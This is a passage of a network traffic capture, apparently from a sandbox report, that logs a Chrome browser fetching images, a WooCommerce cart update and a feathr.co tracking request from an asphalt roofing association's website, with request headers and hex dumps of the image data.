2024-04-23 14:53:51 UTC	8192	IN	Data Raw: d7 d2 51 97 40 8b 29 95 b9 b6 64 be 34 ea d1 41 4d ad 59 43 d1 4e 90 d1 0a cf 4b 09 4b c5 d2 bb ab 8e cd b7 0a 2c cd aa 52 5a 36 4a 2b 53 8e 90 b6 a9 f7 cb 22 70 d4 ab 95 71 75 94 90 a3 39 d9 09 45 d4 1b 09 11 86 6d aa 28 73 84 6c b5 d2 cb 4a e4 a0 28 1b 50 49 2a 84 ae 89 19 32 41 a8 44 ec a1 e9 7d 99 2a ed 3a 34 61 9f 68 a9 df a3 73 87 2e cd 5d 73 c9 af a5 8f 70 25 b0 c4 fd 06 e9 7c f5 ba 78 b2 df 8b 35 b6 45 5a e2 36 c6 a5 b9 e1 d8 36 9d 91 aa d8 cb c9 61 02 b2 e3 35 9a ad b3 35 b6 46 c7 1a ea ab eb 83 87 09 da 53 64 e4 b0 73 04 0a c6 24 49 51 32 6a 2e a8 c9 bf 0e 04 dd 91 55 90 b2 ab b2 16 19 3a 3c dd f5 62 0d 4d 9e 8b c8 6b ce bd 6e ef 19 76 2f ad c7 c2 d2 5d 83 a9 b2 cf 21 4f be 8e a7 cf e3 ec 39 9a 9c 18 f4 71 55 5a 77 62 96 7b f8 b3 cd f4 db 7c a5 Data Ascii: Q@)d4AMYCNKK,RZ6J+S"pqu9Em(slJ(PI2AD}:4ahs.]sp%\|x5EZ66a55FSds$IQ2j.U:<bMknv/]!O9qUZwb{\|
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 52 48 93 83 24 92 26 45 82 6e 11 20 44 82 29 80 c0 09 46 57 19 6b 8a 5e 6f 2f 67 47 94 4b 70 41 a8 9b ac 92 12 27 2e 5e 6f 57 cf 7a 8f 2f 2e 4e 87 3f a0 9d 6b f3 df b3 64 a2 15 dd 9b c3 aa fa 58 6f f3 ea b1 67 8b e0 a1 51 b1 9b 3a 5e 7d 4d 1d b9 75 fd 92 c7 47 91 b7 a1 e5 ae ea ea 72 6e ef f5 0c 7b 6c 05 74 64 48 44 36 92 cb 3d ee ce 76 7e cb b3 cd e6 f5 ae cf 18 7a ec 9a 9e 70 ee 65 d6 79 a5 f4 d8 98 50 c6 91 e9 6b ea 73 d8 0b 9f 46 04 21 aa 00 07 16 31 03 13 89 35 74 af 92 bc fd 8e 44 ba 64 e5 3c 39 d0 9c 71 b7 09 45 23 ac d1 d7 92 a8 cd d3 2f 9c 3e 54 df 83 a7 cf 5a ae e6 cf 2b 63 d9 c3 ea c5 56 51 96 5f 4d cf 52 e5 55 74 59 db 33 6c d4 1a 51 27 4c a5 b0 8c ec 09 84 1b 75 12 68 8b 00 68 b1 80 a0 08 00 09 84 40 96 7a 22 c9 66 9e 4c eb 3e 66 66 df 97 45 Data Ascii: RH$&En D)FWk^o/gGKpA'.^oWz/.N?kdXogQ:^}MuGrn{ltdHD6=v~zpeyPksF!15tDd<9qE#/>TZ+cVQ_MRUtY3lQ'Luhh@z"fL>ffE
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 79 ce 76 c8 75 ee 3c f5 d3 b9 33 d3 7e 53 4d 76 57 64 7a bc 9e 8d bd cb 22 f4 25 5d 84 47 12 8f 3b e9 3c ee 2c 21 05 25 81 12 ea e7 1a 25 1b 4a 2c 76 1a fb 7e 73 d1 6a 38 8a db 44 02 92 84 a4 88 09 82 00 85 81 e4 2c af 5e 59 ed a2 f2 8d 59 74 c5 1d 5e 57 4e ba 56 d5 66 ca 0d 59 9f cf 7a 4f 35 9b 21 bc a3 7d 36 a5 1d 5e 5f 46 ba 56 55 67 48 9d 6c 8c 21 cf 4b 1c ee b1 01 a8 00 08 60 d5 91 28 c5 09 b2 86 9c 36 b5 29 38 d7 06 2b b3 cb 39 d7 25 ba dc ed 37 4b 9a 56 f8 e6 91 6c 5d e5 0e f8 59 5b 94 44 20 b3 56 1a 97 a9 bf c9 43 9e be 83 77 86 d6 be bd f9 cd 39 bd c3 95 44 bd 6d de 21 d9 d4 e4 0f 44 d6 64 8f 2c 5c f6 21 4a 22 26 bb 2b 3a 63 45 98 96 b3 d0 8d 7a 2c aa 37 4a cc ae f8 d9 5b 9c 2c 6d 48 1a 16 4e 32 07 53 2c 09 09 b1 13 01 d9 0f 4b 9d 59 39 2e 5d 78 Data Ascii: yvu<3~SMvWdz"%]G;<,!%%J,v~sj8D,^YYt^WNVfYzO5!}6^_FVUgHl!K`(6)8+9%7KVl]Y[D VCw9Dm!Dd,\!J"&+:cEz,7J[,mHN2S,KY9.]x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49821	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	1004	OUT	GET /wp-content/plugins/revslider/public/assets/assets/loader.gif HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: image/gif Content-Length: 2545 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b78-9f1-5b419ed2ec280" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	2545	IN	Data Raw: 47 49 46 38 39 61 18 00 18 00 f4 00 00 ff ff ff 00 00 00 ce ce ce fa fa fa e0 e0 e0 b0 b0 b0 e8 e8 e8 8e 8e 8e c8 c8 c8 9c 9c 9c d8 d8 d8 a8 a8 a8 c0 c0 c0 f2 f2 f2 76 76 76 86 86 86 b8 b8 b8 68 68 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 00 07 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 18 00 18 00 00 05 ae 20 20 8e 24 00 41 65 5a 0e 0a f9 3c e4 a0 92 84 c3 8c 51 34 36 84 3c 8b 0f 07 41 94 13 0d 08 c3 9f 88 e1 48 00 61 00 03 a1 a1 3a 92 0e 0e ea 49 44 30 c4 46 84 c3 01 61 5c 78 47 83 33 80 d7 1b 21 c4 09 df 4f 3a 2d 19 16 87 82 52 6a Data Ascii: GIF89avvvhhh!Created with ajaxload.info!!NETSCAPE2.0, $AeZ<Q46<AHa:ID0Fa\xG3!O:-Rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49822	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	938	OUT	GET /wp-content/uploads/2023/04/New-Video-Website-Banner_V2.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: image/png Content-Length: 98411 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Thu, 27 Apr 2023 14:09:07 GMT ETag: "c236e8-1806b-5fa51e6615c72" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 7b 50 4c 54 45 ff ff ff f9 f9 f8 ec e9 e8 f6 df c3 d9 d9 d9 f3 d4 ae d5 d4 d4 cf ce ce c9 c8 c8 c2 c0 c0 b9 b8 b8 aa aa aa b3 a0 91 9b 9c 9a 92 92 8f 88 93 97 88 88 86 7e 7e 7d 74 74 74 9e 62 5d 6c 6c 6b 62 62 62 59 5a 5a 82 41 3d 52 52 52 4b 4b 4b 43 44 44 c4 06 16 3e 3e 3e 38 38 38 74 20 16 33 33 33 2e 2e 2e 5d 1b 13 29 29 29 51 16 0f 23 23 23 0e 2a 35 41 13 0d 11 11 11 01 01 01 c3 40 c4 30 00 01 7f ab 49 44 41 54 78 da ec 5d 0b 7b a2 c8 16 04 96 05 05 69 ba 5b f0 c1 40 74 5c ef 38 ff ff 17 de af df a7 5f a8 49 66 c7 d9 d0 c9 e4 61 8c 49 cc ae 95 aa 53 a7 2a 29 97 b3 9c df 7a f2 44 9e 34 5f ce 72 96 f3 2b cf db d7 3a eb 97 ba f3 93 9f cb 59 ce 6f Data Ascii: PNGIHDRlU`{PLTE~~}tttb]llkbbbYZZA=RRRKKKCDD>>>888t 333...])))Q###5A@0IDATx]{i[@t\8_IfaIS)zD4_r+:Yo
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: a0 92 0c 78 9f 5d 67 8b 9a e7 62 1b 01 36 1e 6e d7 2b 67 ae 22 1e 79 e4 c5 3f c2 9a 3c 4e 02 69 85 5b 4a b0 db 4e 0d 6a eb c6 6a 8f af 03 15 7b 28 6a 8a b6 96 96 ac e4 a8 06 45 83 91 1d 6a ab 51 16 79 5b b6 18 3b 1b b6 31 7b 94 e5 45 b6 5b 8b 83 f1 51 d4 89 d6 a6 33 13 db 5e 0d 6b c5 cb 25 41 6a 39 cb 59 c0 f6 4b ee d9 7a 61 40 14 80 ad 66 b6 50 46 66 18 5b b2 bd 1d 8a b2 a4 6a ea 2c a9 19 b3 2d 38 77 55 60 db a0 26 4f d9 18 b7 64 57 58 13 94 a5 d5 3a 4d 2b ae 18 af d3 74 8d 24 d8 66 0c 9f d8 85 55 9a ac 1a 7f 5c db 2a cc f5 4b e3 c1 a6 8c 23 22 df 93 90 bd 0c e3 ba c1 97 db ed aa bb 7e 54 19 c1 69 32 a9 8d 22 b6 51 6a cb 23 d5 99 c8 60 78 bb 09 7c 35 14 b1 48 c1 bf 0d 5a 48 6c 23 0a 72 64 bd d6 69 b6 f5 57 6c 81 8c 8c ad d8 6a 6f ed c7 9a d9 5a 83 5b 12 Data Ascii: x]gb6n+g"y?<Ni[JNjj{(jEjQy[;1{E[Q3^k%Aj9YKza@fPFf[j,-8wU`&OdWX:M+t$fU\*K#"~Ti2"Qj#`x\|5HZHl#rdiWljoZ[
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: e4 18 dc da 25 b6 1e af c5 9e 07 d9 49 b3 98 0b 69 84 15 04 a1 9a 1f 7b 55 3b 8c b5 ce f9 ed cc d6 5b f8 04 9c e6 57 32 db 4d 34 b0 b1 f2 40 06 c7 5a 0b 36 4f 8e 6c 83 20 d6 cc 63 15 71 21 7c ff 59 cc 36 7f 8b 4f 90 3f c0 6c cb b7 20 35 7f 56 78 2e fe 18 ac c5 87 30 ad 0d 43 2c 24 91 b7 57 33 23 8b 6f eb a0 77 6d 87 fa cc d0 f6 9f ff 0a b3 85 23 b6 6e 86 d9 ee ff fa 8b 25 36 fd b5 55 cc 96 d6 69 49 29 c9 d2 86 52 bc 62 41 13 3c 4c 8a 30 0c 4d f8 e2 2d 59 a7 2b 2d 23 f3 8c 89 bc c6 5c 4a ce 52 b6 fe 83 9b 9c 7d 5a c5 0c 52 4c 52 46 79 9a 73 f8 28 d3 95 66 b6 18 af f9 a5 22 41 8a 79 92 c5 05 28 97 a1 16 9c ef b2 c1 2e a3 8f 79 2a 57 7f 50 c3 12 a4 92 94 69 cb a8 64 10 2c 3e c8 31 8e 88 f4 e3 8b 1e b6 1e 05 b9 9d ce e7 1d 8f b6 10 fe e2 81 4f 70 a7 f3 c0 8c Data Ascii: %Ii{U;[W2M4@Z6Ol cq!\|Y6O?l 5Vx.0C,$W3#owm#n%6UiI)RbA<L0M-Y+-#\JR}ZRLRFys(f"Ay(.y*WPid,>1Op
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: d3 60 6e a7 aa b8 ac 8c 00 d8 e2 26 cb b2 a4 e6 44 17 d5 75 bd 4a d3 9e 24 c5 78 ba 0c 75 52 32 94 dc d1 ee 38 34 69 26 c4 61 01 b7 22 aa 58 e6 2e 0e aa c7 76 98 78 f9 1e 2f 88 3f 2a c1 f9 7c 39 1c 94 6d f9 20 e2 1e 4f a7 e9 3a 32 b0 65 c8 ca 84 e4 2b db d5 95 54 56 b5 c8 73 de eb 95 ed 9d 27 e9 91 12 b7 23 1b e5 85 90 ac 9c c9 32 56 ca 74 cd 9f a6 f3 d0 91 39 62 3b eb 40 a6 50 47 36 12 32 09 ee fb c0 8c c6 ce d2 90 9d 58 e4 3e 30 b3 9d c9 8c 02 93 5a 69 8c 12 cf bb d7 63 b6 73 45 aa f3 6e 64 8a 5b 5c 97 b3 e7 1e 05 f3 fd 51 ab 98 e2 fc d1 91 ad fb fd ef 1f 9e 5b 3e e5 46 36 77 0a 63 4b 9b 6d 44 38 20 1e 9d 0c 55 ec cd df b9 c5 1d 07 d6 db c6 b3 44 6f a3 14 fb a5 2b 7f f2 8a 50 05 b6 37 fc 1e 88 55 a3 55 8e 90 7a 8a 0a 47 b1 95 a2 b0 6b 17 5c b5 0d d9 32 Data Ascii: `n&DuJ$xuR284i&a"X.vx/?*\|9m O:2e+TVs'#2Vt9b;@PG62X>0ZicsEnd[\Q[>F6wcKmD8 UDo+P7UUzGk\2
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 21 9f 92 b1 52 f0 57 44 f8 87 b8 ea de 93 c1 50 94 8a e1 37 b1 24 9d aa 5c 32 63 40 6e ab b2 2a 37 01 53 56 c8 fc 62 84 d4 df 72 67 fb 75 93 8f 2c 26 c9 0d ef a0 2b 1f 12 9d 6c b8 fd 3d 7e db 83 d8 9f 25 91 76 0c 99 ed a7 77 59 f6 f1 f3 e7 2f cc 6c cb c3 f1 5c 1f f2 2b 81 6d ef c0 36 cb aa 01 c0 b6 1d ae f9 21 6f da 26 3f e4 67 0f b6 79 5d 37 ed f5 98 55 e7 d3 e1 78 f5 ca d8 30 e5 42 64 32 b0 cc f6 da 0d 13 b1 3c 63 5c 02 32 ec 57 0d d5 ea 90 6a 78 d5 da 4a 97 e0 3f 05 3a 29 2b 92 c2 5c e3 db 02 b8 e0 af a3 b4 5e 16 7e 1f 24 53 14 3f 81 f9 8c ec e1 a5 f0 e3 09 50 19 16 bd 94 63 81 1f 9a 6d 5f 00 8a 8f 41 88 bc 62 b3 2d 90 6f c5 22 24 0d 6c 94 8a f3 18 38 31 11 d9 ce 92 ad 08 8a 7a e4 01 64 17 be 4e 80 d1 1c 28 65 b9 2d ee 74 f1 a2 a9 17 91 51 77 2c 3f 7d Data Ascii: !RWDP7$\2c@n*7SVbrgu,&+l=~%vwY/l\+m6!o&?gy]7Ux0Bd2<c\2WjxJ?:)+\^~$S?Pcm_Ab-o"$l81zdN(e-tQw,?}
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 35 74 fd 44 49 8e bd 2d 06 c2 40 0b c8 86 b2 9a 28 d7 45 e0 c9 ac 44 db 9b 2d 9d 77 f1 8d b3 12 b2 e3 10 67 c3 0c e4 7e e3 ac 1d 62 9d db 66 2d bf 19 20 0b 05 f2 98 9a 20 fb 27 71 e1 79 80 ed e3 3c ce 0f 9d bd 08 a9 aa 8a 98 6c 6d 7b 80 98 b8 36 95 4d 83 12 33 62 b7 93 75 1a 65 ff da 11 e1 2a cc ab b0 60 7b 2a 4e 76 08 5c 0a 66 6b 2f 92 8e dc c8 53 eb 64 55 ac 52 46 f8 7b 21 42 2a 4a 90 4a ad 6d 9d cf 36 2d 90 4a a4 48 85 7a e4 d8 fe f3 16 70 7b 70 78 a2 03 8e 6b b7 98 9e d8 7e 86 f3 11 0e bc f1 c9 05 4b 75 97 6e 1c 87 cb e5 72 be 9c f1 c5 f9 72 e9 2f 67 44 db 4b db 9c 3b 02 db cb f9 0a 0f e2 fd f9 dc 5f cf 70 ba fe 7c ee e0 d1 fe 7c ee e0 fd 16 5f 77 fd a5 bd 4e 04 67 fd 75 98 e6 a9 eb 2f 30 7e 55 d7 0e ba e3 c7 eb f9 72 1d 60 6a 3c 74 e3 b2 ac 53 7f 1d Data Ascii: 5tDI-@(ED-wg~bf- 'qy<lm{6M3bue`{Nv\fk/SdURF{!B*JJm6-JHzp{pxk~Kunrr/gDK;_p\|\|_wNgu/0~Ur`j<tS
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 25 22 60 c6 a3 8b 5e 50 14 a8 0c cb 4b a5 42 ab b0 9e 7d f4 94 0d a4 d2 f3 cd a8 f1 da 36 5b 62 8b 39 16 72 3f eb b5 c8 99 d5 22 bf df 60 2d 9c ea 7e 74 63 48 72 45 96 63 63 a3 93 53 1e 20 a9 96 ea c7 89 cd 3e 37 37 52 26 b4 05 6a 0b 93 03 e9 f6 b9 53 37 30 86 09 c8 63 24 8a d2 4a b6 27 ed eb 8f 8d 50 1f 87 f3 93 ff 0e d8 f6 01 4f 0d 3f 6e a7 a8 43 12 81 ea df c1 6c 83 bb 57 a6 47 a4 55 30 bf 7d d5 95 be 73 8c 1c 89 a6 b7 9f b5 73 c4 76 8c bf d9 6f e6 74 ef 4b fc 0c d8 7e 08 fe bd d0 f3 87 fe 8f 60 b6 9d 12 a9 16 22 42 ea 58 fb 66 1f 46 c4 5a 06 5d f8 76 5a 97 26 c5 59 8d 4d 42 8c dc 54 be 74 80 3f 4f e3 6e 59 0a 29 56 ed ab 74 88 d8 42 eb 40 e1 3d b5 2e 17 b9 f6 5d 04 78 33 97 66 41 cc f6 b4 1b 21 f5 e2 ce 76 cb 6c 6b 5b 69 2b e7 c8 55 b2 41 be d8 f6 ec Data Ascii: %"`^PKB}6[b9r?"`-~tcHrEccS >77R&jS70c$J'PO?nClWGU0}ssvotK~`"BXfFZ]vZ&YMBTt?OnY)VtB@=.]x3fA!vlk[i+UA
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 6e 1b d0 76 c1 ba a8 b0 c8 86 cd 3e f9 00 39 c6 20 73 86 fe d6 f9 ca 08 d9 21 6c 42 6b a5 73 65 fd 0f c0 f6 f7 3d 6d af 63 3e 4f df e9 ee 37 79 40 4d f7 fd a8 bb aa 7a f2 ec 8d 1e f4 b1 e8 df fe a1 6b 3f f6 48 4f c3 70 fc 4e ff 7f fa 07 d3 f4 e3 31 46 48 8d 10 6c 3b 1c a3 d8 ea 41 32 5e db 3a d4 a1 d8 f8 d3 19 87 6d ec 11 70 ef e3 ba d6 2a 8b a3 90 d7 df 07 69 c9 20 ce d7 eb 75 a2 e4 78 bb 29 79 bb 32 42 af b7 89 90 f1 76 eb fa db 75 df 1f fa e6 7a 3b b4 97 db 41 dd 0e d7 db b1 d3 5f 75 7b cd 6f 91 46 f9 91 08 a9 42 ac 05 5e d9 e6 cc 36 09 6c 04 02 a9 7b cc 36 4a a4 9e 64 b6 82 3b 55 8d ff 95 13 dc 58 2c 2f b0 bc 94 e3 c8 79 8f b7 70 96 8c 63 74 d1 24 19 bf 0f 68 cb 34 d8 4e 23 0f 59 0a 9a 7a 4b 25 74 9f 01 8b cf e1 62 b1 3f cd 59 4c 85 a5 c0 e1 06 6a e1 Data Ascii: nv>9 s!lBkse=mc>O7y@Mzk?HOpN1FHl;A2^:mp*i ux)y2Bvuz;A_u{oFB^6l{6Jd;UX,/ypct$h4N#YzK%tb?YLj
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 0f 94 ec ed 53 51 2c fc 2d a6 e6 9f 72 a1 2d 58 db be 3c cd 6c 9d d9 a7 04 b4 6e 6b eb 59 89 47 5b 03 b6 59 d7 2d 68 98 97 b8 76 0f 74 02 21 9a 94 2b a5 18 88 e5 65 d3 a4 2d b3 41 21 65 b7 b2 f6 a6 36 43 ca 61 ee 6c a9 ad a9 25 70 5b 5b 17 cf 38 f4 39 ab d5 db da 6f 2b 43 64 b0 ae d5 ff 9d a6 74 c2 9b 0c 7f d3 00 45 0c c9 48 69 5c 4a a3 48 2c b3 20 17 6a 05 72 03 bc b2 38 47 8e c0 3a 57 ea 0b 2d de c6 ac e7 b7 99 b1 f2 fc 38 49 89 5a 9d 1c 83 57 5c ab b4 36 fc 1b 8b 83 64 f7 8f ec f7 04 db 12 78 8d bb bb f7 30 b5 a9 56 54 e6 b8 32 b9 8b da 14 00 6b c0 5f 04 48 0c b6 5d f9 37 d4 3f 01 b6 f7 1e 14 42 50 70 f9 e1 71 b0 dd 98 ed 27 9c 66 cf 41 84 d4 29 49 b5 88 35 b4 11 72 43 52 71 d7 1d 30 e7 04 e4 cf dd d2 2b a2 02 05 24 a9 bc 38 08 91 49 84 b1 74 92 dc 81 Data Ascii: SQ,-r-X<lnkYG[Y-hvt!+e-A!e6Cal%p[[89o+CdtEHi\JH, jr8G:W-8IZW\6dx0VT2k_H]7?BPpq'fA)I5rCRq0+$8It
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 41 eb 96 af 8d af e1 21 16 31 7d 02 64 1b 99 ad cb f0 77 28 6b 6e ab 01 8b 18 4e 6b af 89 a8 1a 84 bf 10 79 43 e5 41 f4 e1 da 12 85 d5 08 29 b0 b0 fd 51 a9 d8 43 3b 5b e4 b3 25 85 41 32 0c 47 ae 16 ed 3d bb b3 55 2a 71 fd e4 4f 8b f1 c9 53 13 d5 a5 06 b4 32 a1 b6 88 d9 de d9 db 4a 26 92 ce 02 3e 69 6d ba 01 5b 36 f9 78 64 c1 f8 3c 4c 46 6a 6c e8 eb 30 0d 7a c8 3c 18 19 95 86 5f 73 d5 cc d8 d4 ef 42 34 a3 99 23 c7 1c 8b 35 60 64 3f 03 7f 8c 95 70 96 81 b7 9f 15 62 e7 e0 9a ea 8b bd cc 9b 97 e3 a1 0a ee 1e 98 5b 21 00 b7 ad 6e 6b 51 38 14 84 5a 18 5f 51 e9 f4 c1 36 1f e0 f4 81 ff c6 d4 f2 3b 64 23 af ec 0c e9 94 e6 1e f7 77 e0 5a ae 03 c8 6e 4d 24 d4 a5 51 cb 73 86 d9 cd 98 42 d5 4c 32 b4 fc 37 7f b9 40 3e 08 b6 77 1f 14 56 3d 8d 58 b1 b5 81 ed 2f 65 b6 b5 Data Ascii: A!1}dw(knNkyCA)QC;[%A2G=U*qOS2J&>im[6xd<LFjl0z<_sB4#5`d?pb[!nkQ8Z_Q6;d#wZnM$QsBL27@>wV=X/e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49823	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	1007	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:50 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 32 39 35 32 37 Data Ascii: time=1713884029527
2024-04-23 14:53:53 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:53:53 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49826	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:51 UTC	387	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
